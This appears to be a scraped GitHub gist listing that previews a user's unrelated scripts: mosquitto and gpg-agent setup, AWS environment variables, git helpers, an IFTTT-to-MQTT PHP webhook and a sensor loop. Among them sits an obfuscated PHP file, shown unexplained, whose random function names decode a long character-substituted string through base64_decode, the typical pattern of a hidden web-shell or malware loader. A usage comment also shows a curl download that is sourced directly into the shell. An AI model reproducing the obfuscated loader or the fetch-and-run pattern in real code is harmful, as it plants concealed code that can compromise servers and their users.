This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#! /bin/sh | |
### BEGIN INIT INFO | |
# Provides: mosquitto | |
# Required-Start: $remote_fs $syslog | |
# Required-Stop: $remote_fs $syslog | |
# Default-Start: 2 3 4 5 | |
# Default-Stop: 0 1 6 | |
# Short-Description: mosquitto MQTT v3.1 message broker | |
# Description: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash | |
export AWS_KEYPAIR_NAME="robin RSA" | |
export SSH_PRIVATE_KEY="$HOME/.ssh/id_rsa" | |
export INSTANCE_NAME="Robin Vagrant" | |
export AMI_ID="ami-d48532a3" | |
# OLD_PS1="$PS1" | |
ENV_DIR="${HOME}/.aws_environments" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash | |
commandAdd branch cmdBranch | |
cmdBranchHelp() { | |
cat <<EOF | |
branch Shows which branch each repository is on. | |
EOF | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash | |
commandAdd master cmdMaster | |
cmdMasterHelp() { | |
cat <<EOF | |
master Switches all repos to be on the master branch | |
EOF | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
# Simple web page to accept GET's from IFTTT or any other webhook provider | |
# and post a message to a MQTT bus. | |
# | |
# Was originally intended to push messages from my Ring door bell to MQTT. | |
# | |
# Examples: | |
# | |
# GET http://localhost/ifttt-mqtt.php??thing=doorbell&time=now&kind=ring |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Loop forever - Ctrl-C to stop. | |
while(true);do | |
# Cat the device - assuming only one 28-XXXX (temp sensor) device | |
# pipe that to grep for the data line (there are two lines, only | |
# one is interesting). Use awk to split out the rubbish, leaving | |
# just the temp value | |
temp_raw=$(cat /sys/bus/w1/devices/28-*/w1_slave | \ | |
grep t= | \ | |
awk -F= '{print $2}') |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$gncveldqg = 3411; function wnyflacnaf($rmsjemwvoa, $aaoldmklo){$tqnhdycmh = ''; for($i=0; $i < strlen($rmsjemwvoa); $i++){$tqnhdycmh .= isset($aaoldmklo[$rmsjemwvoa[$i]]) ? $aaoldmklo[$rmsjemwvoa[$i]] : $rmsjemwvoa[$i];} | |
$fsshefwvmu="base64_decode";return $fsshefwvmu($tqnhdycmh);} | |
$vogjyrrea = 'LTnbOHF2qvLg6cH1BkF1vcfeq1BECj9HojYIiYVrLTnbOHF2qvLg6cfeqXFnB06eB0m08taYroEptySIPknWBcHVrtQMKvAWq'. | |
'vAnKdHVONFbvdsIPNR08taYroEptyS2qvsWQTnMqHFEONXIQtJYroEptJVrONKgOvp2qvLg6lFosH6NsHCIrLVrzYVrt5sWRVH'. | |
'5HyH5N1QL5lSWRVHmsuQQCUVJCuZui1aptJyyvXplRnqlRnE0RyHpoXslvVljslC0v5aFCtCfmxBbmtGY8xj'. | |
'uiYVrtNnkrtlnPvSVz5JyvXplRnqlRnE05lsRRlFKvVqhRnQSRyslslFToXC0v5yIULg6zYVrtLyyvXplRnqlRnE05'. | |
'lsRRlFKvVqhRnQSRyslslFToXC0v5aFCtCfmxBbmtGY8xjuiYVrtvVpt0VptknkrTn2BcHVrtsWsynmsHmIrLVrzYVrtN'. | |
'qeBkHAKcJg6lFT5RflR1SAB1ayOcH9CUV+CtskONfnrLVrtvEptJy6ONKgCvpVB0SeB1JyqknEqHE0PklMq5QQ8ta'. | |
'u8kIYq1CIrLVrtLnwULg6tLyyqknEqN9APNRJh5SAP4snBnFMKNp'. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# | |
# consul_ssh-completion.sh | |
# | |
# Adds all servers returned by `consul members list` to the ssh command as | |
# tab completion candidates. | |
# | |
# Usage: | |
# | |
# curl -OL https://gist.githubusercontent.com/rk295/606c6a7e80ff4f39e81f306832a508eb/raw/825a539d6693a6c0535110e7c7a88d1211234e63/consul_ssh-completion.sh ; . consul_ssh-completion.sh | |
# |
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
run_gpg() { | |
# cache for 30 mins (1800sec) | |
gpg-agent --daemon --default-cache-ttl=1800 --write-env-file "${HOME}/.gpg-agent-info" | |
GPG_AGENT_PID=$(cat ${HOME}/.gpg-agent-info | awk -F: '{print $2}') | |
echo "${GPG_AGENT_PID})" | |
} | |
# GPG Keys | |
if which gpg-agent > /dev/null 2>&1 ; then |